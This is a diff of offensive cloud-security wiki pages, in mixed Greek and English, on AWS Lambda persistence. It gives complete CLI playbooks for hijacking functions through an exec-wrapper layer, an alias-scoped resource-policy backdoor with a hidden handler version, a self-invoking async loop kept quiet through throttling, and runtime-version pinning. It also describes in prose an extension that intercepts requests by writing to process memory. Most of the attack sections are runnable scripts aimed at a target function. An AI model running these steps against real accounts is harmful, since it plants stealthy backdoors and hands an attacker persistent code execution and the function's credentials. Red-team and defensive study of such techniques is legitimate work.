Κακοποιήστε την environment μεταβλητή `AWS_LAMBDA_EXEC_WRAPPER` για να εκτελέσετε ένα attacker-controlled wrapper script πριν ξεκινήσει το runtime/handler. Παρέχετε το wrapper μέσω ενός Lambda Layer στο `/opt/bin/htwrap`, ορίστε `AWS_LAMBDA_EXEC_WRAPPER=/opt/bin/htwrap`, και στη συνέχεια invoke τη function. Το wrapper τρέχει μέσα στη διαδικασία του function runtime, κληρονομεί το function execution role, και τελικά κάνει `exec` στο πραγματικό runtime ώστε ο αρχικός handler να εκτελείται κανονικά.
{{#ref}}
aws-lambda-exec-wrapper-persistence.md
{{#endref}}
### AWS - Lambda Function URL Public Exposure
Κακοποιήστε τα Lambda asynchronous destinations μαζί με τη Recursion configuration για να κάνετε μια function να επανεκκινεί συνεχώς τον εαυτό της χωρίς εξωτερικό scheduler (όπως EventBridge, cron, κ.λπ.). Από προεπιλογή, η Lambda τερματίζει recursive loops, αλλά με το να ορίσετε την recursion config σε Allow επανενεργοποιούνται. Τα Destinations παραδίδουν στην πλευρά της υπηρεσίας για async invokes, οπότε ένα μόνο seed invoke δημιουργεί ένα stealthy, code-free heartbeat/backdoor κανάλι. Προαιρετικά, χρησιμοποιήστε throttle με reserved concurrency για να κρατήσετε τον θόρυβο χαμηλό.
{{#ref}}
aws-lambda-async-self-loop-persistence.md
{{#endref}}
### AWS - Lambda Alias-Scoped Resource Policy Backdoor
Δημιουργήστε μια κρυφή Lambda version με attacker logic και εφαρμόστε ένα resource-based policy σε εκείνη την συγκεκριμένη version (ή alias) χρησιμοποιώντας την παράμετρο `--qualifier` στο `lambda add-permission`. Χορηγήστε μόνο `lambda:InvokeFunction` στο `arn:aws:lambda:REGION:ACCT:function:FN:VERSION` σε attacker principal. Οι κανονικές invocations μέσω του function name ή του primary alias παραμένουν ανεπηρέαστες, ενώ ο attacker μπορεί να καλεί απευθείας το backdoored version ARN.
Αυτό είναι πιο stealthy από το να εκθέσετε ένα Function URL και δεν αλλάζει το primary traffic alias.
{{#ref}}
aws-lambda-alias-version-policy-backdoor.md
{{#endref}}
### Freezing AWS Lambda Runtimes
Ένας attacker που έχει τα permissions lambda:InvokeFunction, logs:FilterLogEvents, lambda:PutRuntimeManagementConfig, και lambda:GetRuntimeManagementConfig μπορεί να τροποποιήσει τη runtime management configuration μιας function. Αυτή η επίθεση είναι ιδιαίτερα αποτελεσματική όταν ο στόχος είναι να κρατηθεί μια Lambda function σε μια ευάλωτη runtime version ή να διατηρηθεί η συμβατότητα με malicious layers που μπορεί να είναι ασύμβατες με νεότερα runtimes.
Ο attacker τροποποιεί τη runtime management configuration για να pinάρει την runtime version:
```bash
# Invoke the function to generate runtime logs
aws lambda invoke \
--function-name $TARGET_FN \
--payload '{}' \
--region us-east-1 /tmp/ping.json
sleep 5
# Freeze automatic runtime updates on function update
aws lambda put-runtime-management-config \
--function-name $TARGET_FN \
--update-runtime-on FunctionUpdate \
--region us-east-1
```
Επαληθεύστε την εφαρμοσμένη διαμόρφωση:
```bash
aws lambda get-runtime-management-config \
--function-name $TARGET_FN \
--region us-east-1
```
Προαιρετικό: Κλειδώστε σε συγκεκριμένη έκδοση του runtime
```bash
# Extract Runtime Version ARN from INIT_START logs
RUNTIME_ARN=$(aws logs filter-log-events \
--log-group-name /aws/lambda/$TARGET_FN \
--filter-pattern "INIT_START" \
--query 'events[0].message' \
--output text | grep -o 'Runtime Version ARN: [^,]*' | cut -d' ' -f4)
```
Κλειδώστε σε συγκεκριμένη έκδοση runtime:
```bash
aws lambda put-runtime-management-config \
--function-name $TARGET_FN \
--update-runtime-on Manual \
--runtime-version-arn $RUNTIME_ARN \
--region us-east-1
```
{{#include ../../../../banners/hacktricks-training.md}}

View File

@@ -1,42 +1,46 @@
# AWS - Κατάχρηση Επεκτάσεων Lambda
# AWS - Abusing Lambda Extensions
{{#include ../../../../banners/hacktricks-training.md}}
## Επεκτάσεις Lambda
## Lambda Extensions
Οι επεκτάσεις Lambda ενισχύουν τις λειτουργίες ενσωματώνοντας διάφορα **εργαλεία παρακολούθησης, παρατηρησιμότητας, ασφάλειας και διακυβέρνησης**. Αυτές οι επεκτάσεις, που προστίθενται μέσω [.zip αρχείων χρησιμοποιώντας επίπεδα Lambda](https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html) ή περιλαμβάνονται σε [αναπτύξεις εικόνας κοντέινερ](https://aws.amazon.com/blogs/compute/working-with-lambda-layers-and-extensions-in-container-images/), λειτουργούν σε δύο τρόπους: **εσωτερικές** και **εξωτερικές**.
Lambda extensions enhance functions by integrating with various **monitoring, observability, security, and governance tools**. These extensions, added via [.zip archives using Lambda layers](https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html) or included in [container image deployments](https://aws.amazon.com/blogs/compute/working-with-lambda-layers-and-extensions-in-container-images/), operate in two modes: **internal** and **external**.
- **Εσωτερικές επεκτάσεις** συγχωνεύονται με τη διαδικασία εκτέλεσης, χειρίζονται την εκκίνηση της χρησιμοποιώντας **μεταβλητές περιβάλλοντος συγκεκριμένες για τη γλώσσα** και **σενάρια περιτύλιξης**. Αυτή η προσαρμογή ισχύει για μια σειρά από εκτελέσεις, συμπεριλαμβανομένων των **Java Correto 8 και 11, Node.js 10 και 12, και .NET Core 3.1**.
- **Εξωτερικές επεκτάσεις** εκτελούνται ως ξεχωριστές διαδικασίες, διατηρώντας τη λειτουργική ευθυγράμμιση με τον κύκλο ζωής της λειτουργίας Lambda. Είναι συμβατές με διάφορες εκτελέσεις όπως **Node.js 10 και 12, Python 3.7 και 3.8, Ruby 2.5 και 2.7, Java Corretto 8 και 11, .NET Core 3.1**, και **προσαρμοσμένες εκτελέσεις**.
- **Internal extensions** merge with the runtime process, manipulating its startup using **language-specific environment variables** and **wrapper scripts**. This customization applies to a range of runtimes, including **Java Correto 8 and 11, Node.js 10 and 12, and .NET Core 3.1**.
- **External extensions** run as separate processes, maintaining operation alignment with the Lambda function's lifecycle. They're compatible with various runtimes like **Node.js 10 and 12, Python 3.7 and 3.8, Ruby 2.5 and 2.7, Java Corretto 8 and 11, .NET Core 3.1**, and **custom runtimes**.
Για περισσότερες πληροφορίες σχετικά με [**πώς λειτουργούν οι επεκτάσεις lambda, ελέγξτε τα έγγραφα**](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-extensions-api.html).
For more information about [**how lambda extensions work check the docs**](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-extensions-api.html).
### Εξωτερική Επέκταση για Διαρκή Πρόσβαση, Κλοπή Αιτημάτων & τροποποίηση Αιτημάτων
### External Extension for Persistence, Stealing Requests & modifying Requests
Αυτή είναι μια περίληψη της τεχνικής που προτείνεται σε αυτή την ανάρτηση: [https://www.clearvector.com/blog/lambda-spy/](https://www.clearvector.com/blog/lambda-spy/)
This is a summary of the technique proposed in this post: [https://www.clearvector.com/blog/lambda-spy/](https://www.clearvector.com/blog/lambda-spy/)
Διαπιστώθηκε ότι ο προεπιλεγμένος πυρήνας Linux στο περιβάλλον εκτέλεσης Lambda είναι συμπιεσμένος με τις κλήσεις συστήματος “**process_vm_readv**” και “**process_vm_writev**”. Και όλες οι διαδικασίες εκτελούνται με το ίδιο αναγνωριστικό χρήστη, ακόμη και η νέα διαδικασία που δημιουργείται για την εξωτερική επέκταση. **Αυτό σημαίνει ότι μια εξωτερική επέκταση έχει πλήρη πρόσβαση ανάγνωσης και εγγραφής στη μνήμη σωρού του Rapid, κατά σχεδίαση.**
It was found that the default Linux kernel in the Lambda runtime environment is compiled with “**process_vm_readv**” and “**process_vm_writev**” system calls. And all processes run with the same user ID, even the new process created for the external extension. **This means that an external extension has full read and write access to Rapids heap memory, by design.**
Επιπλέον, ενώ οι επεκτάσεις Lambda έχουν τη δυνατότητα να **εγγραφούν σε γεγονότα κλήσης**, η AWS δεν αποκαλύπτει τα ακατέργαστα δεδομένα σε αυτές τις επεκτάσεις. Αυτό διασφαλίζει ότι **οι επεκτάσεις δεν μπορούν να αποκτήσουν πρόσβαση σε ευαίσθητες πληροφορίες** που μεταδίδονται μέσω του αιτήματος HTTP.
Moreover, while Lambda extensions have the capability to **subscribe to invocation events**, AWS does not reveal the raw data to these extensions. This ensures that **extensions cannot access sensitive information** transmitted via the HTTP request.
Η διαδικασία Init (Rapid) παρακολουθεί όλα τα API αιτήματα στο [http://127.0.0.1:9001](http://127.0.0.1:9001/) ενώ οι επεκτάσεις Lambda αρχικοποιούνται και εκτελούνται πριν από την εκτέλεση οποιουδήποτε κώδικα εκτέλεσης, αλλά μετά το Rapid.
The Init (Rapid) process monitors all API requests at [http://127.0.0.1:9001](http://127.0.0.1:9001/) while Lambda extensions are initialized and run prior to the execution of any runtime code, but after Rapid.
<figure><img src="../../../../images/image (254).png" alt=""><figcaption><p><a href="https://www.clearvector.com/blog/content/images/size/w1000/2022/11/2022110801.rapid.default.png">https://www.clearvector.com/blog/content/images/size/w1000/2022/11/2022110801.rapid.default.png</a></p></figcaption></figure>
Η μεταβλητή **`AWS_LAMBDA_RUNTIME_API`** υποδεικνύει τη **διεύθυνση IP** και τον **αριθμό θύρας** του Rapid API προς **παιδικές διαδικασίες εκτέλεσης** και πρόσθετες επεκτάσεις.
The variable **`AWS_LAMBDA_RUNTIME_API`** indicates the **IP** address and **port** number of the Rapid API to **child runtime processes** and additional extensions.
> [!WARNING]
> Αλλάζοντας τη μεταβλητή περιβάλλοντος **`AWS_LAMBDA_RUNTIME_API`** σε μια **`θύρα`** που έχουμε πρόσβαση, είναι δυνατό να παγιδεύσουμε όλες τις ενέργειες εντός της εκτέλεσης Lambda (**man-in-the-middle**). Αυτό είναι δυνατό επειδή η επέκταση εκτελείται με τα ίδια δικαιώματα όπως το Rapid Init, και ο πυρήνας του συστήματος επιτρέπει τη **τροποποίηση της μνήμης διαδικασίας**, επιτρέποντας την αλλαγή του αριθμού θύρας.
> By changing the **`AWS_LAMBDA_RUNTIME_API`** environment variable to a **`port`** we have access to, it's possible to intercept all actions within the Lambda runtime (**man-in-the-middle**). This is possible because the extension runs with the same privileges as Rapid Init, and the system's kernel allows for **modification of process memory**, enabling the alteration of the port number.
Επειδή **οι επεκτάσεις εκτελούνται πριν από οποιονδήποτε κώδικα εκτέλεσης**, η τροποποίηση της μεταβλητής περιβάλλοντος θα επηρεάσει τη διαδικασία εκτέλεσης (π.χ., Python, Java, Node, Ruby) καθώς ξεκινά. Επιπλέον, **οι επεκτάσεις που φορτώνονται μετά** από εμάς, οι οποίες βασίζονται σε αυτή τη μεταβλητή, θα δρομολογηθούν επίσης μέσω της επέκτασής μας. Αυτή η ρύθμιση θα μπορούσε να επιτρέψει σε κακόβουλο λογισμικό να παρακάμψει εντελώς τα μέτρα ασφαλείας ή τις επεκτάσεις καταγραφής απευθείας μέσα στο περιβάλλον εκτέλεσης.
Because **extensions run before any runtime code**, modifying the environment variable will influence the runtime process (e.g., Python, Java, Node, Ruby) as it starts. Furthermore, **extensions loaded after** ours, which rely on this variable, will also route through our extension. This setup could enable malware to entirely bypass security measures or logging extensions directly within the runtime environment.
<figure><img src="../../../../images/image (267).png" alt=""><figcaption><p><a href="https://www.clearvector.com/blog/content/images/size/w1000/2022/11/2022110801.rapid.mitm.png">https://www.clearvector.com/blog/content/images/size/w1000/2022/11/2022110801.rapid.mitm.png</a></p></figcaption></figure>
Το εργαλείο [**lambda-spy**](https://github.com/clearvector/lambda-spy) δημιουργήθηκε για να εκτελεί αυτή τη **γραφή μνήμης** και να **κλέβει ευαίσθητες πληροφορίες** από αιτήματα lambda, άλλα **αιτήματα** **επεκτάσεων** και ακόμη και **να τα τροποποιεί**.
The tool [**lambda-spy**](https://github.com/clearvector/lambda-spy) was created to perform that **memory write** and **steal sensitive information** from lambda requests, other **extensions** **requests** and even **modify them**.
## Αναφορές
## References
- [https://aws.amazon.com/blogs/compute/building-extensions-for-aws-lambda-in-preview/](https://aws.amazon.com/blogs/compute/building-extensions-for-aws-lambda-in-preview/)
- [https://www.clearvector.com/blog/lambda-spy/](https://www.clearvector.com/blog/lambda-spy/)
{{#include ../../../../banners/hacktricks-training.md}}

View File

@@ -1,88 +0,0 @@
# AWS - Lambda Alias-Scoped Resource Policy Backdoor (Invoke specific hidden version)
{{#include ../../../../banners/hacktricks-training.md}}
## Περίληψη
Create a hidden Lambda version with attacker logic and scope a resource-based policy to that specific version (or alias) using the `--qualifier` parameter in `lambda add-permission`. Grant only `lambda:InvokeFunction` on `arn:aws:lambda:REGION:ACCT:function:FN:VERSION` to an attacker principal. Normal invocations via the function name or primary alias remain unaffected, while the attacker can directly invoke the backdoored version ARN.
Αυτό είναι πιο stealthy από το να εκθέσετε ένα Function URL και δεν αλλάζει το primary traffic alias.
## Απαιτούμενες Άδειες (attacker)
- `lambda:UpdateFunctionCode`, `lambda:UpdateFunctionConfiguration`, `lambda:PublishVersion`, `lambda:GetFunctionConfiguration`
- `lambda:AddPermission` (για να προσθέσετε version-scoped resource policy)
- `iam:CreateRole`, `iam:PutRolePolicy`, `iam:GetRole`, `sts:AssumeRole` (για να προσομοιώσετε έναν attacker principal)
## Βήματα Επίθεσης (CLI)
<details>
<summary>Δημοσίευση κρυφής έκδοσης, προσθήκη qualifier-scoped permission, invoke ως attacker</summary>
```bash
# Vars
REGION=us-east-1
TARGET_FN=<target-lambda-name>
# [Optional] If you want normal traffic unaffected, ensure a customer alias (e.g., "main") stays on a clean version
# aws lambda create-alias --function-name "$TARGET_FN" --name main --function-version <clean-version> --region "$REGION"
# 1) Build a small backdoor handler and publish as a new version
cat > bdoor.py <<PY
import json, os, boto3
def lambda_handler(e, c):
ident = boto3.client(sts).get_caller_identity()
return {"ht": True, "who": ident, "env": {"fn": os.getenv(AWS_LAMBDA_FUNCTION_NAME)}}
PY
zip bdoor.zip bdoor.py
aws lambda update-function-code --function-name "$TARGET_FN" --zip-file fileb://bdoor.zip --region $REGION
aws lambda update-function-configuration --function-name "$TARGET_FN" --handler bdoor.lambda_handler --region $REGION
until [ "$(aws lambda get-function-configuration --function-name "$TARGET_FN" --region $REGION --query LastUpdateStatus --output text)" = "Successful" ]; do sleep 2; done
VER=$(aws lambda publish-version --function-name "$TARGET_FN" --region $REGION --query Version --output text)
VER_ARN=$(aws lambda get-function --function-name "$TARGET_FN:$VER" --region $REGION --query Configuration.FunctionArn --output text)
echo "Published version: $VER ($VER_ARN)"
# 2) Create an attacker principal and allow only version invocation (same-account simulation)
ATTACK_ROLE_NAME=ht-version-invoker
aws iam create-role --role-name $ATTACK_ROLE_NAME --assume-role-policy-document Version:2012-10-17 >/dev/null
cat > /tmp/invoke-policy.json <<POL
{
"Version": "2012-10-17",
"Statement": [{
"Effect": "Allow",
"Action": ["lambda:InvokeFunction"],
"Resource": ["$VER_ARN"]
}]
}
POL
aws iam put-role-policy --role-name $ATTACK_ROLE_NAME --policy-name ht-invoke-version --policy-document file:///tmp/invoke-policy.json
# Add resource-based policy scoped to the version (Qualifier)
aws lambda add-permission \
--function-name "$TARGET_FN" \
--qualifier "$VER" \
--statement-id ht-version-backdoor \
--action lambda:InvokeFunction \
--principal arn:aws:iam::$(aws sts get-caller-identity --query Account --output text):role/$ATTACK_ROLE_NAME \
--region $REGION
# 3) Assume the attacker role and invoke only the qualified version
ATTACK_ROLE_ARN=arn:aws:iam::$(aws sts get-caller-identity --query Account --output text):role/$ATTACK_ROLE_NAME
CREDS=$(aws sts assume-role --role-arn "$ATTACK_ROLE_ARN" --role-session-name htInvoke --query Credentials --output json)
export AWS_ACCESS_KEY_ID=$(echo $CREDS | jq -r .AccessKeyId)
export AWS_SECRET_ACCESS_KEY=$(echo $CREDS | jq -r .SecretAccessKey)
export AWS_SESSION_TOKEN=$(echo $CREDS | jq -r .SessionToken)
aws lambda invoke --function-name "$VER_ARN" /tmp/ver-out.json --region $REGION >/dev/null
cat /tmp/ver-out.json
# 4) Clean up backdoor (remove only the version-scoped statement). Optionally remove the role
aws lambda remove-permission --function-name "$TARGET_FN" --statement-id ht-version-backdoor --qualifier "$VER" --region $REGION || true
```
</details>
## Επιπτώσεις
- Παρέχει έναν stealthy backdoor για να καλεί μια κρυφή έκδοση της function χωρίς να τροποποιήσει το primary alias ή να αποκαλύψει ένα Function URL.
- Περιορίζει την έκθεση μόνο στην καθορισμένη έκδοση/alias μέσω της resource-based policy `Qualifier`, μειώνοντας την επιφάνεια ανίχνευσης ενώ διατηρεί αξιόπιστη δυνατότητα κλήσης για τον attacker principal.
{{#include ../../../../banners/hacktricks-training.md}}

View File

@@ -1,95 +0,0 @@
# AWS - Lambda Ασύγχρονη Αυτο-επανάκληση Επίμονη Πρόσβαση μέσω Destinations + Recursion Allow
{{#include ../../../../banners/hacktricks-training.md}}
Κακοποιήστε τις Lambda asynchronous destinations μαζί με τη Recursion configuration για να κάνετε μια function να ξανα-invoke-άει συνεχώς τον εαυτό της χωρίς εξωτερικό scheduler (όχι EventBridge, cron κ.λπ.). Από προεπιλογή, το Lambda τερματίζει τις recursive loops, αλλά ρυθμίζοντας το recursion config σε Allow τις ενεργοποιεί ξανά. Τα Destinations παραδίδουν από την πλευρά της υπηρεσίας για async invokes, οπότε μια μοναδική seed invoke δημιουργεί ένα stealthy, code-free heartbeat/backdoor κανάλι. Προαιρετικά, throttle-άρετε με reserved concurrency για να κρατήσετε τον θόρυβο χαμηλό.
Σημειώσεις
- Το Lambda δεν επιτρέπει να ρυθμιστεί η function να είναι το δικό της destination άμεσα. Χρησιμοποιήστε ένα function alias ως destination και επιτρέψτε στο execution role να invoke-άρει αυτό το alias.
- Ελάχιστα δικαιώματα: δυνατότητα ανάγνωσης/ενημέρωσης του target functions event invoke config και recursion config, δημοσίευσης μιας version και διαχείρισης ενός alias, και ενημέρωσης του execution role policy της function ώστε να επιτρέπεται lambda:InvokeFunction στο alias.
## Requirements
- Region: us-east-1
- Vars:
- REGION=us-east-1
- TARGET_FN=<target-lambda-name>
## Steps
1) Get function ARN and current recursion setting
```
FN_ARN=$(aws lambda get-function --function-name "$TARGET_FN" --region $REGION --query Configuration.FunctionArn --output text)
aws lambda get-function-recursion-config --function-name "$TARGET_FN" --region $REGION || true
```
2) Δημοσιεύστε μια version και δημιουργήστε/ενημερώστε ένα alias (χρησιμοποιείται ως self destination)
```
VER=$(aws lambda publish-version --function-name "$TARGET_FN" --region $REGION --query Version --output text)
if ! aws lambda get-alias --function-name "$TARGET_FN" --name loop --region $REGION >/dev/null 2>&1; then
aws lambda create-alias --function-name "$TARGET_FN" --name loop --function-version "$VER" --region $REGION
else
aws lambda update-alias --function-name "$TARGET_FN" --name loop --function-version "$VER" --region $REGION
fi
ALIAS_ARN=$(aws lambda get-alias --function-name "$TARGET_FN" --name loop --region $REGION --query AliasArn --output text)
```
3) Επιτρέψτε στον ρόλο εκτέλεσης της συνάρτησης να καλεί το alias (απαιτείται από Lambda Destinations→Lambda)
```
# Set this to the execution role name used by the target function
ROLE_NAME=<lambda-execution-role-name>
cat > /tmp/invoke-self-policy.json <<EOF
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": "lambda:InvokeFunction",
"Resource": "${ALIAS_ARN}"
}
]
}
EOF
aws iam put-role-policy --role-name "$ROLE_NAME" --policy-name allow-invoke-self --policy-document file:///tmp/invoke-self-policy.json --region $REGION
```
4) Διαμορφώστε το async destination στο alias (self μέσω alias) και απενεργοποιήστε τα retries
```
aws lambda put-function-event-invoke-config \
--function-name "$TARGET_FN" \
--destination-config OnSuccess={Destination=$ALIAS_ARN} \
--maximum-retry-attempts 0 \
--region $REGION
# Verify
aws lambda get-function-event-invoke-config --function-name "$TARGET_FN" --region $REGION --query DestinationConfig
```
5) Επιτρέψτε αναδρομικούς βρόχους
```
aws lambda put-function-recursion-config --function-name "$TARGET_FN" --recursive-loop Allow --region $REGION
aws lambda get-function-recursion-config --function-name "$TARGET_FN" --region $REGION
```
6) Ενεργοποίηση ενός μεμονωμένου asynchronous invoke
```
aws lambda invoke --function-name "$TARGET_FN" --invocation-type Event /tmp/seed.json --region $REGION >/dev/null
```
7) Παρακολούθηση συνεχών κλήσεων (παραδείγματα)
```
# Recent logs (if the function logs each run)
aws logs filter-log-events --log-group-name "/aws/lambda/$TARGET_FN" --limit 20 --region $REGION --query events[].timestamp --output text
# or check CloudWatch Metrics for Invocations increasing
```
8) Προαιρετικός stealth throttle
```
aws lambda put-function-concurrency --function-name "$TARGET_FN" --reserved-concurrent-executions 1 --region $REGION
```
## Καθαρισμός
Διακόψτε το loop και αφαιρέστε το persistence.
```
aws lambda put-function-recursion-config --function-name "$TARGET_FN" --recursive-loop Terminate --region $REGION
aws lambda delete-function-event-invoke-config --function-name "$TARGET_FN" --region $REGION || true
aws lambda delete-function-concurrency --function-name "$TARGET_FN" --region $REGION || true
# Optional: delete alias and remove the inline policy when finished
aws lambda delete-alias --function-name "$TARGET_FN" --name loop --region $REGION || true
ROLE_NAME=<lambda-execution-role-name>
aws iam delete-role-policy --role-name "$ROLE_NAME" --policy-name allow-invoke-self --region $REGION || true
```
## Επιπτώσεις
- Μια μεμονωμένη async invoke προκαλεί το Lambda να επανεκκινεί συνεχώς τον εαυτό του χωρίς εξωτερικό scheduler, επιτρέποντας stealthy persistence/heartbeat. Το Reserved concurrency μπορεί να περιορίσει τον θόρυβο σε μία μόνο warm execution.
{{#include ../../../../banners/hacktricks-training.md}}

View File

@@ -1,94 +0,0 @@
# AWS - Lambda Exec Wrapper Layer Hijack (Pre-Handler RCE)
{{#include ../../../../banners/hacktricks-training.md}}
## Περίληψη
Καταχραστείτε τη μεταβλητή περιβάλλοντος `AWS_LAMBDA_EXEC_WRAPPER` για να εκτελέσετε ένα wrapper script υπό τον έλεγχο του επιτιθέμενου πριν ξεκινήσει το runtime/handler. Παραδώστε το wrapper μέσω ενός Lambda Layer στο `/opt/bin/htwrap`, ορίστε `AWS_LAMBDA_EXEC_WRAPPER=/opt/bin/htwrap`, και καλέστε τη συνάρτηση. Το wrapper τρέχει μέσα στη διεργασία runtime της συνάρτησης, κληρονομεί τον ρόλο εκτέλεσης της συνάρτησης και στο τέλος κάνει `exec` στο πραγματικό runtime ώστε ο αρχικός handler να εκτελεστεί κανονικά.
> [!WARNING]
> Αυτή η τεχνική παρέχει εκτέλεση κώδικα στο στοχευόμενο Lambda χωρίς να τροποποιεί τον πηγαίο κώδικα ή τον role και χωρίς να απαιτεί `iam:PassRole`. Χρειάζεστε μόνο τη δυνατότητα να ενημερώσετε τη διαμόρφωση της συνάρτησης και να δημοσιεύσετε/επισυνάψετε ένα layer.
## Απαιτούμενα Δικαιώματα (επιτιθέμενος)
- `lambda:UpdateFunctionConfiguration`
- `lambda:GetFunctionConfiguration`
- `lambda:InvokeFunction` (ή ενεργοποίηση μέσω υπάρχοντος event)
- `lambda:ListFunctions`, `lambda:ListLayers`
- `lambda:PublishLayerVersion` (ίδιο account) και προαιρετικά `lambda:AddLayerVersionPermission` εάν χρησιμοποιείτε cross-account/public layer
## Wrapper Script
Τοποθετήστε το wrapper στο `/opt/bin/htwrap` μέσα στο layer. Μπορεί να τρέχει λογική πριν τον handler και πρέπει να τελειώνει με `exec "$@"` για να αλυσιδωθεί στο πραγματικό runtime.
```bash
#!/bin/bash
set -euo pipefail
# Pre-handler actions (runs in runtime process context)
echo "[ht] exec-wrapper pre-exec: uid=$(id -u) gid=$(id -g) fn=$AWS_LAMBDA_FUNCTION_NAME region=$AWS_REGION"
python3 - <<'PY'
import boto3, json, os
try:
ident = boto3.client('sts').get_caller_identity()
print('[ht] sts identity:', json.dumps(ident))
except Exception as e:
print('[ht] sts error:', e)
PY
# Chain to the real runtime
exec "$@"
```
## Βήματα επίθεσης (CLI)
<details>
<summary>Δημοσίευση layer, επισύναψη στη function-στόχο, ορισμός wrapper, invoke</summary>
```bash
# Vars
REGION=us-east-1
TARGET_FN=<target-lambda-name>
# 1) Package wrapper at /opt/bin/htwrap
mkdir -p layer/bin
cat > layer/bin/htwrap <<'WRAP'
#!/bin/bash
set -euo pipefail
echo "[ht] exec-wrapper pre-exec: uid=$(id -u) gid=$(id -g) fn=$AWS_LAMBDA_FUNCTION_NAME region=$AWS_REGION"
python3 - <<'PY'
import boto3, json
print('[ht] sts identity:', __import__('json').dumps(__import__('boto3').client('sts').get_caller_identity()))
PY
exec "$@"
WRAP
chmod +x layer/bin/htwrap
(zip -qr htwrap-layer.zip layer)
# 2) Publish the layer
LAYER_ARN=$(aws lambda publish-layer-version \
--layer-name ht-exec-wrapper \
--zip-file fileb://htwrap-layer.zip \
--compatible-runtimes python3.11 python3.10 python3.9 nodejs20.x nodejs18.x java21 java17 dotnet8 \
--query LayerVersionArn --output text --region "$REGION")
echo "$LAYER_ARN"
# 3) Attach the layer and set AWS_LAMBDA_EXEC_WRAPPER
aws lambda update-function-configuration \
--function-name "$TARGET_FN" \
--layers "$LAYER_ARN" \
--environment "Variables={AWS_LAMBDA_EXEC_WRAPPER=/opt/bin/htwrap}" \
--region "$REGION"
# Wait for update to finish
until [ "$(aws lambda get-function-configuration --function-name "$TARGET_FN" --query LastUpdateStatus --output text --region "$REGION")" = "Successful" ]; do sleep 2; done
# 4) Invoke and verify via CloudWatch Logs
aws lambda invoke --function-name "$TARGET_FN" /tmp/out.json --region "$REGION" >/dev/null
aws logs filter-log-events --log-group-name "/aws/lambda/$TARGET_FN" --limit 50 --region "$REGION" --query 'events[].message' --output text
```
</details>
## Επιπτώσεις
- Pre-handler code execution στο runtime context του Lambda χρησιμοποιώντας το υπάρχον execution role της function.
- Δεν απαιτούνται αλλαγές στο function code ή στο role· λειτουργεί σε κοινά managed runtimes (Python, Node.js, Java, .NET).
- Επιτρέπει persistence, credential access (π.χ. STS), data exfiltration και runtime tampering πριν εκτελεστεί ο handler.
{{#include ../../../../banners/hacktricks-training.md}}

Some files were not shown because too many files have changed in this diff Show More